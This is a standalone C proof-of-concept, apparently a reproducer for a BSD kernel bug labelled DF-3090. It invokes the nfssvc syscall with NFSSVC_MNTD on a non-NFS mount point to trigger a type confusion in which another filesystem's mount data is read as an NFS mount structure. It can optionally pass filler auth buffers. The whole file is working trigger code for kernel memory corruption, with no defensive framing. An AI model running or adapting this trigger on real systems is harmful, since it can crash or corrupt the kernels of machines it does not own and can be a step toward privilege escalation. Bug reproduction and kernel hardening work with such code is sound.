DF-3090 / df3090.c
/* DF-3090 - NFSSVC_MNTD type-confuses a non-NFS mount into struct nfsmount. * nfssvc(NFSSVC_MNTD[,GOTAUTH], ncd{ncd_dirp=<non-nfs mountpoint>}). * nmp = VFSTONFS(vp->v_mount) with only a VROOT check -> mnt_data of a * hammer2/ufs mount reinterpreted as struct nfsmount inside nfs_clientd(). */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/param.h> #include <sys/mount.h> #include <sys/syscall.h> struct nfsd_cargs_k { char *ncd_dirp; uid_t ncd_authuid; int ncd_authtype; u_int ncd_authlen; unsigned char *ncd_authstr; u_int ncd_verflen; unsigned char *ncd_verfstr; unsigned char ncd_key[8]; }; #define NFSSVC_MNTD 0x100 #define NFSSVC_GOTAUTH 0x400 int main(int argc,char**argv) { struct nfsd_cargs_k ncd; int flags = NFSSVC_MNTD; if(argc<2){fprintf(stderr,"usage: df3090 mountpt [auth]\n");return 2;} if(argc>2) flags |= NFSSVC_GOTAUTH; memset(&ncd,0,sizeof ncd); ncd.ncd_dirp = argv[1]; if(argc>2){ ncd.ncd_authlen=16; ncd.ncd_authstr=malloc(16); memset(ncd.ncd_authstr,0x41,16); ncd.ncd_verflen=8; ncd.ncd_verfstr=malloc(8); memset(ncd.ncd_verfstr,0x42,8); } errno=0; errno=0; long r = syscall(155, flags, &ncd); /* SYS_nfssvc */ printf("nfssvc(0x%x) ret=%ld errno=%d (%s)\n",flags,r,errno,strerror(errno)); printf("returned without crash\n"); return 0; } |